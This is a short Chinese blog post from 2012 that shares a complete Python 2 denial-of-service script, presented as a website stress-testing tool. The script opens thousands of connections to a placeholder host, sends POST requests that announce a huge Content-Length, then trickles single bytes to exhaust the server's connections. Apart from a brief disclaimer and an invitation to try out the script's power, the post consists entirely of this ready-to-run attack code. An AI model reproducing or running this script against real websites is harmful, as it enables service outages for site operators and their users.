python版ddos脚本

这里给大家贴上一段网上看到的测试网站压力的代码,希望对您的工作和学习有帮助,但是不希望大家拿着它去攻击别人,下面直接看代码吧:

 1 import sys
 2 import struct
 3 import socket
 4 import time
 5 import threading
 6 #压力测试,ddos工具
 7 #----------------------------------
 8 MAX_CONN = 20000
 9 PORT = 80
10 HOST = "www.abcde.com"
11 PAGE = "/index.php"
12 #----------------------------------
13  
14 buf=("POST %s HTTP/1.1\r\n"
15 "Host: %s\r\n"
16 "Content-Length: 10000000\r\n"
17 "Cookie: dklkt_dos_test\r\n"
18 "\r\n" % (PAGE,HOST))
19  
20 socks = []
21  
22 def conn_thread():
23     global socks
24     for i in range(0,MAX_CONN):
25         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
26         try:
27             s.connect((HOST,PORT))
28             s.send(buf)
29             print "Send buf ok! conn=%d\n"%i
30             socks.append(s)
31         except Exception,e:
32             print "Could not connect to server or send error:%s"%e
33             time.sleep(10)
34             #sys.exit(0)
35 #end def
36  
37 def send_thread():
38     global socks
39     while True:
40         for s in socks:
41             try:
42                 s.send("f")
43                 #print "sendok!"
44             except Exception,e:
45                 print "Send Exception:%s\n"%e
46                 socks.remove(s)
47                 s.close()
48  
49         time.sleep(1)
50 #end def
51  
52 conn_th=threading.Thread(target=conn_thread,args=())
53 send_th=threading.Thread(target=send_thread,args=())
54  
55 conn_th.start()
56 send_th.start()

   你可以测试下这段脚本的威力,哈哈。

posted on 2012-12-17 14:40  般若2013  阅读(913)  评论(1编辑  收藏  举报

导航